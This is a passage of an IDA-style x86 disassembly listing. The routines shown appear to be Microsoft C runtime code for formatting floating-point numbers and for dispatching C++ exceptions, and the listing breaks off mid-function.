mov ebx, [ebp+arg_8]
mov eax, ds:dword_4DDF4C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421F11
pop ecx
pop ecx
jmp short loc_421C66
; ---------------------------------------------------------------------------
loc_421C2E: ; CODE XREF: sub_421BF9+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_424839
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_4247C2
add esp, 14h
loc_421C66: ; CODE XREF: sub_421BF9+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421C72
mov byte ptr [eax], 2Dh
inc eax
loc_421C72: ; CODE XREF: sub_421BF9+73j
test ebx, ebx
jle short loc_421C8A
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, ds:byte_43F198
mov eax, edi
pop edi
mov [eax], cl
loc_421C8A: ; CODE XREF: sub_421BF9+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp ds:byte_4DDF50, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C0A0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_421CB1
mov byte ptr [ecx], 45h
loc_421CB1: ; CODE XREF: sub_421BF9+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421CF6
mov ebx, [esi+4]
dec ebx
jns short loc_421CC5
neg ebx
mov byte ptr [ecx], 2Dh
loc_421CC5: ; CODE XREF: sub_421BF9+C5j
inc ecx
cmp ebx, 64h
jl short loc_421CDC
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421CDC: ; CODE XREF: sub_421BF9+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421CF3
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421CF3: ; CODE XREF: sub_421BF9+E7j
add [ecx+1], bl
loc_421CF6: ; CODE XREF: sub_421BF9+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_421BF9 endp
; =============== S U B R O U T I N E =======================================
sub_421CFD proc near ; CODE XREF: sub_421E9D+13p
; sub_421EC0+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp ds:byte_4DDF50, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421D38
mov eax, ds:dword_4DDF54
mov ebx, [esp+10h+arg_8]
mov esi, ds:dword_4DDF4C
cmp eax, ebx
jnz short loc_421D68
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421D68
; ---------------------------------------------------------------------------
loc_421D38: ; CODE XREF: sub_421CFD+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_424839
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_4247C2
add esp, 14h
loc_421D68: ; CODE XREF: sub_421CFD+22j
; sub_421CFD+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421D76
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421D76: ; CODE XREF: sub_421CFD+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421D8D
push 1
push edi
call sub_421F11
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421D8F
; ---------------------------------------------------------------------------
loc_421D8D: ; CODE XREF: sub_421CFD+7Ej
add edi, eax
loc_421D8F: ; CODE XREF: sub_421CFD+8Ej
test ebx, ebx
jle short loc_421DD4
push 1
push edi
call sub_421F11
mov al, ds:byte_43F198
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421DD4
cmp ds:byte_4DDF50, 0
jz short loc_421DB9
neg esi
jmp short loc_421DBF
; ---------------------------------------------------------------------------
loc_421DB9: ; CODE XREF: sub_421CFD+B6j
neg esi
cmp ebx, esi
jl short loc_421DC1
loc_421DBF: ; CODE XREF: sub_421CFD+BAj
mov ebx, esi
loc_421DC1: ; CODE XREF: sub_421CFD+C0j
push ebx
push edi
call sub_421F11
push ebx
push 30h
push edi
call sub_41B780
add esp, 14h
loc_421DD4: ; CODE XREF: sub_421CFD+94j
; sub_421CFD+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421CFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DDB proc near ; CODE XREF: sub_421EC0+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_424839
mov ds:dword_4DDF4C, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov ds:dword_4DDF54, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_4247C2
mov eax, ds:dword_4DDF4C
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp ds:dword_4DDF54, ecx
setl cl
mov ds:byte_4DDF58, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov ds:dword_4DDF54, eax
jl short loc_421E61
cmp eax, ebx
jge short loc_421E61
test cl, cl
jz short loc_421E52
loc_421E48: ; CODE XREF: sub_421DDB+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421E48
and [esi-2], al
loc_421E52: ; CODE XREF: sub_421DDB+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421E9D
add esp, 0Ch
jmp short loc_421E71
; ---------------------------------------------------------------------------
loc_421E61: ; CODE XREF: sub_421DDB+63j
; sub_421DDB+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421E76
add esp, 10h
loc_421E71: ; CODE XREF: sub_421DDB+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421DDB endp
; =============== S U B R O U T I N E =======================================
sub_421E76 proc near ; CODE XREF: sub_421DDB+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov ds:byte_4DDF50, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_421BF9
and ds:byte_4DDF50, 0
add esp, 10h
retn
sub_421E76 endp
; =============== S U B R O U T I N E =======================================
sub_421E9D proc near ; CODE XREF: sub_421DDB+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov ds:byte_4DDF50, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421CFD
and ds:byte_4DDF50, 0
add esp, 0Ch
retn
sub_421E9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421EC0 proc near ; CODE XREF: sub_41F8BF+3AAp
; DATA XREF: sub_41C950o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421EFB
cmp [ebp+arg_8], 45h
jz short loc_421EFB
cmp [ebp+arg_8], 66h
jnz short loc_421EE8
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421CFD
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421EE8: ; CODE XREF: sub_421EC0+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421DDB
jmp short loc_421F0C
; ---------------------------------------------------------------------------
loc_421EFB: ; CODE XREF: sub_421EC0+7j
; sub_421EC0+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421BF9
loc_421F0C: ; CODE XREF: sub_421EC0+39j
add esp, 10h
pop ebp
retn
sub_421EC0 endp
; =============== S U B R O U T I N E =======================================
sub_421F11 proc near ; CODE XREF: sub_421BF9+2Cp
; sub_421CFD+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421F34
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B1D0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41CE80
add esp, 10h
pop esi
loc_421F34: ; CODE XREF: sub_421F11+7j
pop edi
retn
sub_421F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F36 proc near ; CODE XREF: seg000:0041CB30p
; sub_41CB99+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421F4C
call sub_4227D2
loc_421F4C: ; CODE XREF: sub_421F36+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421F74
cmp dword ptr [esi+4], 0
jz short loc_421FCA
cmp [ebp+arg_14], 0
jnz short loc_421FCA
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_42227D
add esp, 10h
jmp short loc_421FCA
; ---------------------------------------------------------------------------
loc_421F74: ; CODE XREF: sub_421F36+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421FCA
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421FAE
cmp [eax+14h], edi
jbe short loc_421FAE
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421FAE
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421FCD
; ---------------------------------------------------------------------------
loc_421FAE: ; CODE XREF: sub_421F36+4Aj
; sub_421F36+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421FD1
add esp, 20h
loc_421FCA: ; CODE XREF: sub_421F36+23j
; sub_421F36+29j ...
push 1
pop eax
loc_421FCD: ; CODE XREF: sub_421F36+76j
pop edi
pop esi
pop ebp
retn
sub_421F36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421FD1 proc near ; CODE XREF: sub_421F36+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421FF1
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421FF6
loc_421FF1: ; CODE XREF: sub_421FD1+16j
call sub_4227D2
loc_421FF6: ; CODE XREF: sub_421FD1+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_42214D
cmp dword ptr [esi+10h], 3
jnz short loc_42206A
cmp [esi+14h], edi
jnz short loc_42206A
cmp dword ptr [esi+1Ch], 0
jnz short loc_42206A
mov esi, ds:dword_4DDF5C
test esi, esi
jz loc_422148
mov eax, ds:dword_4DDF60
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_4249C0
pop ecx
test eax, eax
pop ecx
jnz short loc_42204C
call sub_4227D2
loc_42204C: ; CODE XREF: sub_421FD1+74j
cmp [esi], ebx
jnz loc_42214D
cmp dword ptr [esi+10h], 3
jnz short loc_42206A
cmp [esi+14h], edi
jnz short loc_42206A
cmp dword ptr [esi+1Ch], 0
jnz short loc_42206A
call sub_4227D2
loc_42206A: ; CODE XREF: sub_421FD1+41j
; sub_421FD1+46j ...
cmp [esi], ebx
jnz loc_42214D
cmp dword ptr [esi+10h], 3
jnz loc_42214D
cmp [esi+14h], edi
jnz loc_42214D
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CCE7
add esp, 14h
mov ebx, eax
loc_4220A1: ; CODE XREF: sub_421FD1+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_422138
cmp [ebx], edi
jg short loc_42212D
cmp edi, [ebx+4]
jg short loc_42212D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_42212A
loc_4220C6: ; CODE XREF: sub_421FD1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_4220F7
loc_4220D8: ; CODE XREF: sub_421FD1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422220
add esp, 0Ch
test eax, eax
jnz short loc_422106
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_4220D8
loc_4220F7: ; CODE XREF: sub_421FD1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_4220C6
jmp short loc_42212A
; ---------------------------------------------------------------------------
loc_422106: ; CODE XREF: sub_421FD1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422331
add esp, 2Ch
loc_42212A: ; CODE XREF: sub_421FD1+F3j
; sub_421FD1+133j
mov edi, [ebp+var_10]
loc_42212D: ; CODE XREF: sub_421FD1+DEj
; sub_421FD1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_4220A1
; ---------------------------------------------------------------------------
loc_422138: ; CODE XREF: sub_421FD1+D6j
cmp [ebp+arg_14], 0
jz short loc_422148
push 1
push esi
call sub_4226A6
pop ecx
pop ecx
loc_422148: ; CODE XREF: sub_421FD1+56j
; sub_421FD1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42214D: ; CODE XREF: sub_421FD1+37j
; sub_421FD1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_422173
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422178
add esp, 20h
jmp short loc_422148
; ---------------------------------------------------------------------------
loc_422173: ; CODE XREF: sub_421FD1+180j
jmp sub_42277C
sub_421FD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422178 proc near ; CODE XREF: sub_421FD1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp ds:dword_4DDF64, 0
push esi
push edi
jz short loc_4221A9
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CBBE
add esp, 1Ch
test eax, eax
jnz short loc_42221C
loc_4221A9: ; CODE XREF: sub_422178+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CCE7
add esp, 14h
mov esi, eax
loc_4221C5: ; CODE XREF: sub_422178+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_42221C
cmp edi, [esi]
jl short loc_422214
cmp edi, [esi+4]
jg short loc_422214
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_4221EE
cmp byte ptr [ecx+8], 0
jnz short loc_422214
loc_4221EE: ; CODE XREF: sub_422178+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422331
add esp, 2Ch
loc_422214: ; CODE XREF: sub_422178+57j
; sub_422178+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_4221C5
; ---------------------------------------------------------------------------
loc_42221C: ; CODE XREF: sub_422178+2Fj
; sub_422178+53j
pop edi
pop esi
leave
retn
sub_422178 endp
; =============== S U B R O U T I N E =======================================
sub_422220 proc near ; CODE XREF: sub_421FD1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422277
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422277
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422251
add ecx, 8
push ecx
push edx
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_422273
loc_422251: ; CODE XREF: sub_422220+1Fj
test byte ptr [esi], 2
jz short loc_42225B
test byte ptr [edi], 8
jz short loc_422273
loc_42225B: ; CODE XREF: sub_422220+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42226A
test byte ptr [edi], 1
jz short loc_422273
loc_42226A: ; CODE XREF: sub_422220+43j
test al, 2
jz short loc_422277
test byte ptr [edi], 2
jnz short loc_422277
loc_422273: ; CODE XREF: sub_422220+2Fj
; sub_422220+39j ...
xor eax, eax
jmp short loc_42227A
; ---------------------------------------------------------------------------
loc_422277: ; CODE XREF: sub_422220+Bj
; sub_422220+14j ...
push 1
pop eax
loc_42227A: ; CODE XREF: sub_422220+55j
pop edi
pop esi
retn
sub_422220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42227D proc near ; CODE XREF: sub_421F36+34p
; sub_422331+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288C8
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_4222AF: ; CODE XREF: sub_42227D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_422309
cmp esi, 0FFFFFFFFh
jle short loc_4222BE
cmp esi, [edi+4]
jl short loc_4222C3
loc_4222BE: ; CODE XREF: sub_42227D+3Aj
call sub_4227D2
loc_4222C3: ; CODE XREF: sub_42227D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4222DE
push 103h
push ebx
push eax
call sub_422730
loc_4222DE: ; CODE XREF: sub_42227D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4222FE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_42231B
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4222FE: ; CODE XREF: sub_42227D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_4222AF
; ---------------------------------------------------------------------------
loc_422309: ; CODE XREF: sub_42227D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42227D endp
; =============== S U B R O U T I N E =======================================
sub_42231B proc near ; CODE XREF: sub_42227D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42232C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42232C: ; CODE XREF: sub_42231B+Cj
jmp sub_42277C
sub_42231B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422331 proc near ; CODE XREF: sub_421FD1+151p
; sub_422178+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422353
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4224E2
add esp, 10h
loc_422353: ; CODE XREF: sub_422331+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42235F
push edi
jmp short loc_422362
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_422331+29j
push [ebp+arg_24]
loc_422362: ; CODE XREF: sub_422331+2Cj
call sub_41CAC0
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_42227D
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_4223AC
add esp, 2Ch
test eax, eax
jz short loc_4223A7
push edi
push eax
call sub_41CA7E
loc_4223A7: ; CODE XREF: sub_422331+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_422331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4223AC proc near ; CODE XREF: sub_422331+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288D8
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, ds:dword_4DDF5C
mov [ebp+var_1C], ecx
mov ecx, ds:dword_4DDF60
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov ds:dword_4DDF5C, edi
mov ecx, [ebp+arg_8]
mov ds:dword_4DDF60, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41CB45
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422472
mov eax, [ebp+var_2C]
loc_422439: ; CODE XREF: sub_422452+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4223AC endp
; =============== S U B R O U T I N E =======================================
sub_422448 proc near ; DATA XREF: seg001:004288E8o
push dword ptr [ebp-14h]
call sub_4224B8
pop ecx
retn
sub_422448 endp
; =============== S U B R O U T I N E =======================================
sub_422452 proc near ; DATA XREF: seg001:004288ECo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CDA6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422439
sub_422452 endp
; ---------------------------------------------------------------------------
loc_42246A: ; DATA XREF: seg001:004288E0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422472 proc near ; CODE XREF: sub_4223AC+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov ds:dword_4DDF5C, eax
mov eax, [ebp-20h]
mov ds:dword_4DDF60, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_4224B7
cmp dword ptr [edi+10h], 3
jnz short locret_4224B7
cmp dword ptr [edi+14h], 19930520h
jnz short locret_4224B7
cmp [ebp-24h], ebx
jnz short locret_4224B7
cmp [ebp-2Ch], ebx
jz short locret_4224B7
call sub_41CE0E
push eax
push edi
call sub_4226A6
pop ecx
pop ecx
locret_4224B7: ; CODE XREF: sub_422472+1Cj
; sub_422472+22j ...
retn
sub_422472 endp
; =============== S U B R O U T I N E =======================================
sub_4224B8 proc near ; CODE XREF: sub_422448+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4224DF
cmp dword ptr [eax+10h], 3
jnz short loc_4224DF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4224DF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4224DF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4224DF: ; CODE XREF: sub_4224B8+Cj
; sub_4224B8+12j ...
xor eax, eax
retn
sub_4224B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4224E2 proc near ; CODE XREF: sub_422331+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4288F0
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42268B
cmp byte ptr [eax+8], 0
jz loc_42268B
mov eax, [ecx+8]
test eax, eax
jz loc_42268B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42257F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_4249C0
pop ecx
pop ecx
test eax, eax
jz loc_422682
push 1
push edi
call sub_4249DC
pop ecx
pop ecx
test eax, eax
jz loc_422682
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422570: ; CODE XREF: sub_4224E2+F5j
push eax
call sub_42270D
pop ecx
pop ecx
mov [edi], eax
jmp loc_422687
; ---------------------------------------------------------------------------
loc_42257F: ; CODE XREF: sub_4224E2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4225D9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_4249C0
pop ecx
pop ecx
test eax, eax
jz loc_422682
push 1
push edi
call sub_4249DC
pop ecx
pop ecx
test eax, eax
jz loc_422682
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CE80
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422687
mov eax, [edi]
test eax, eax
jz loc_422687
add esi, 8
push esi
jmp short loc_422570
; ---------------------------------------------------------------------------
loc_4225D9: ; CODE XREF: sub_4224E2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422621
